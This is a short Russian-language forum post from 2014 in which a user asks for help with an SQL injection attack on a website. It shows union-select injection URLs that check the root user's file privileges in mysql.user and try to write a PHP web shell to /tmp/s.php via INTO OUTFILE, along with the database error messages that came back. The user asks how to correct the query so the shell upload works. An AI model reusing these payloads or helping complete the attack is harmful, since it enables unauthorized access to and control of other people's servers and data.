
20.08.2014, 13:35
|
|
Новичок
Регистрация: 03.08.2009
Сообщений: 23
С нами:
8827377
Репутация:
-5
|
|
Привет!
Делаю запрос
Сообщение от None
site.ru/index.php?id=-14+union+select+file_priv,2+from+mysql.user+where+ user='root'
На что выдает Y Unknown column 'id' in 'where clause'
Далее пытаюсь залить шелл
Сообщение от None
site.ru/index.php?id=-14+union+select+'',2+from+mysql.user+into+outfile+ '/tmp/s.php'
На что выдает You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'and id<>-14 union select '',2 from mysql.user in' at line 1
Как правильно составить запрос, чтобы не выскакивала ошибка?
|
|
|